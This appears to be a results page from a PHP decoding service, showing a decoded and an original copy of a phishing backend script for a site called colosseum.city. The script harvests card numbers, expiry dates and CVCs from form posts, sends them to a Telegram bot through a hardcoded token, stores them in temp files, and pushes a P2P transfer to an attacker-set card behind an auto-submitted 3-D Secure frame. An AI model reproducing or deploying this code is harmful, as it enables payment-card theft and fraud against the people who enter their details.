Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php include "config.php"; date_default_timezone_set("Europe/Moscow"); ..

Decoded Output download

<?php 
 
    include "config.php"; 
 
    date_default_timezone_set("Europe/Moscow"); 
 
    $date = date("d-m-Y H:i"); 
 
    $message = "<b>   * [colosseum.city]</b> 
 1.  : ".$_POST["cardFrom"]." 
 2.  : ".$_POST["cardFromMonth"]." / ".$_POST["cardFromYear"]."
 3. CVC: ".$_POST["cardFromCVC"]." 
 4. : ".$_POST["amount"]." 
 5. : ".$_POST["description"]." 
 6. : ".$date." 
 7. : ".$_POST["comment"].""; 
sendTel($message);   
	 
	 
    function sendTel($message){ 
		$id = "-297550876"; //  id      
        $tokken = "816631853:AAE_COo0uW3IkNMYqBDetpRDsTvDYpLZCno"; //     
		$filename = "https://api.telegram.org/bot".$tokken."/sendMessage?chat_id=".$id."&text=".urlencode($message)."&parse_mode=html"; 
		file_get_contents($filename); 
    }	 
	 
    $message2 = "<b>[colosseum.city]</b> 
 1. : ".$_POST["amount"]." 
 2. : ".$_POST["description"]." 
 3. : ".$date."" ; 
sendTel2($message2);   
	 
    function sendTel2($message2){ 
		$id1 = "-297550876"; //  id      
        $tokken1 = "816631853:AAE_COo0uW3IkNMYqBDetpRDsTvDYpLZCno"; //     
		$filename = "https://api.telegram.org/bot".$tokken1."/sendMessage?chat_id=".$id1."&text=".urlencode($message2)."&parse_mode=html"; 
		file_get_contents($filename); 
    }	 
	 
    error_reporting(E_ERROR | E_PARSE); 
 
    if (!$_SERVER["HTTP_REFERER"]) 
        die('$_SERVER["HTTP_REFERER"] not found'); 
 
    if (!isset($_POST["cardFrom"]) || !isset($_POST["cardFromMonth"]) || !isset($_POST["cardFromYear"]) || !isset($_POST["cardFromCVC"])) 
        die("cardFrom data not found"); 
    else if (!isset($_POST["amount"])) 
        die("amount data not found"); 
    else if (!isset($dest_card) || $dest_card == "") 
        die("destination card not set"); 
    else { 
        $formData["amount"]["value"] = (int)$_POST["amount"]; 
        $formData["amount"]["currency"] = "RUR"; 
 
        $formData["source_card"]["number"] = $_POST["cardFrom"]; 
        $formData["source_card"]["expiry_date"]["year"] = (int)("20" . $_POST["cardFromYear"]); 
        $formData["source_card"]["expiry_date"]["month"] = (int)$_POST["cardFromMonth"]; 
        $formData["source_card"]["cvc2"] = $_POST["cardFromCVC"]; 
 
        $formData["destination_card"]["number"] = $dest_card; 
 
        $ch = curl_init("https://p2p.mdm.ru/api/v2/requests"); 
        curl_setopt($ch, CURLOPT_POST, 1); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($formData)); 
        curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json")); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        $json = json_decode(curl_exec($ch), true); 
        curl_close($ch); 
 
        if ($json["state"] == "tds"){ 
            $tempdata["access_token"] = $json["access_token"]; 
            $tempdata["request_id"] = $json["request_id"]; 
            $tempdata["amount"] = $_POST["amount"]; 
            $tempdata["card"] = $_POST["cardFrom"]; 
            $tempdata["cardCVC"] = $_POST["cardFromCVC"]; 
            $tempdata["comment"] = $_POST["comment"]; 
            $tempdata["cardExpired"] = $_POST["cardFromMonth"] . "/" . $_POST["cardFromYear"]; 
            file_put_contents("temp/" . $json["tds_data"]["md"], json_encode($tempdata, true)); 
 
            echo '<html><head>' . 
            '<script src="https://code.jquery.com/jquery-3.3.1.js"></script>' . 
            '<script>$(document).ready(function(){$("#payform").submit();});</script>' . 
            '</head><body style="padding: 0px; margin: 0px;">' . 
            '<form action="' . $json["tds_data"]["acs_url"] . '" method="post" target="payframe" id="payform">' . 
            '<input type="hidden" name="PaReq" value="' . $json["tds_data"]["pa_req"] . '">' . 
            '<input type="hidden" name="MD" value="' . $json["tds_data"]["md"] . '">' . 
            '<input type="hidden" name="TermUrl" value="https://' . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . '/paystatus.php">' . 
            '</form>' . 
            '<iframe name="payframe" style="width: 100%; height: 100%; border: 0px;"></iframe>' . 
            '</body></html>'; 
        } else { 
            if (isset($json["description"])) 
                echo "  : " . $json["description"]; 
            else 
                echo "  "; 
        } 
    } 
?>

Did this file decode correctly?

Original Code

<?php

    include "config.php";

    date_default_timezone_set("Europe/Moscow");

    $date = date("d-m-Y H:i");

    $message = "<b>   * [colosseum.city]</b> \n 1.  : ".$_POST["cardFrom"]." \n 2.  : ".$_POST["cardFromMonth"]." / ".$_POST["cardFromYear"]."\n 3. CVC: ".$_POST["cardFromCVC"]." \n 4. : ".$_POST["amount"]." \n 5. : ".$_POST["description"]." \n 6. : ".$date." \n 7. : ".$_POST["comment"]."";
sendTel($message);  
	
	
    function sendTel($message){
		$id = "-297550876"; //  id     
        $tokken = "816631853:AAE_COo0uW3IkNMYqBDetpRDsTvDYpLZCno"; //    
		$filename = "https://api.telegram.org/bot".$tokken."/sendMessage?chat_id=".$id."&text=".urlencode($message)."&parse_mode=html";
		file_get_contents($filename);
    }	
	
    $message2 = "<b>[colosseum.city]</b> \n 1. : ".$_POST["amount"]." \n 2. : ".$_POST["description"]." \n 3. : ".$date."" ;
sendTel2($message2);  
	
    function sendTel2($message2){
		$id1 = "-297550876"; //  id     
        $tokken1 = "816631853:AAE_COo0uW3IkNMYqBDetpRDsTvDYpLZCno"; //    
		$filename = "https://api.telegram.org/bot".$tokken1."/sendMessage?chat_id=".$id1."&text=".urlencode($message2)."&parse_mode=html";
		file_get_contents($filename);
    }	
	
    error_reporting(E_ERROR | E_PARSE);

    if (!$_SERVER["HTTP_REFERER"])
        die('$_SERVER["HTTP_REFERER"] not found');

    if (!isset($_POST["cardFrom"]) || !isset($_POST["cardFromMonth"]) || !isset($_POST["cardFromYear"]) || !isset($_POST["cardFromCVC"]))
        die("cardFrom data not found");
    else if (!isset($_POST["amount"]))
        die("amount data not found");
    else if (!isset($dest_card) || $dest_card == "")
        die("destination card not set");
    else {
        $formData["amount"]["value"] = (int)$_POST["amount"];
        $formData["amount"]["currency"] = "RUR";

        $formData["source_card"]["number"] = $_POST["cardFrom"];
        $formData["source_card"]["expiry_date"]["year"] = (int)("20" . $_POST["cardFromYear"]);
        $formData["source_card"]["expiry_date"]["month"] = (int)$_POST["cardFromMonth"];
        $formData["source_card"]["cvc2"] = $_POST["cardFromCVC"];

        $formData["destination_card"]["number"] = $dest_card;

        $ch = curl_init("https://p2p.mdm.ru/api/v2/requests");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($formData));
        curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $json = json_decode(curl_exec($ch), true);
        curl_close($ch);

        if ($json["state"] == "tds"){
            $tempdata["access_token"] = $json["access_token"];
            $tempdata["request_id"] = $json["request_id"];
            $tempdata["amount"] = $_POST["amount"];
            $tempdata["card"] = $_POST["cardFrom"];
            $tempdata["cardCVC"] = $_POST["cardFromCVC"];
            $tempdata["comment"] = $_POST["comment"];
            $tempdata["cardExpired"] = $_POST["cardFromMonth"] . "/" . $_POST["cardFromYear"];
            file_put_contents("temp/" . $json["tds_data"]["md"], json_encode($tempdata, true));

            echo '<html><head>' .
            '<script src="https://code.jquery.com/jquery-3.3.1.js"></script>' .
            '<script>$(document).ready(function(){$("#payform").submit();});</script>' .
            '</head><body style="padding: 0px; margin: 0px;">' .
            '<form action="' . $json["tds_data"]["acs_url"] . '" method="post" target="payframe" id="payform">' .
            '<input type="hidden" name="PaReq" value="' . $json["tds_data"]["pa_req"] . '">' .
            '<input type="hidden" name="MD" value="' . $json["tds_data"]["md"] . '">' .
            '<input type="hidden" name="TermUrl" value="https://' . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . '/paystatus.php">' .
            '</form>' .
            '<iframe name="payframe" style="width: 100%; height: 100%; border: 0px;"></iframe>' .
            '</body></html>';
        } else {
            if (isset($json["description"]))
                echo "  : " . $json["description"];
            else
                echo "  ";
        }
    }
?>

Function Calls

None

Variables

None

Stats

MD5 cec9196c296985b16e63d5bcb2163e6f
Eval Count 0
Decode Time 107 ms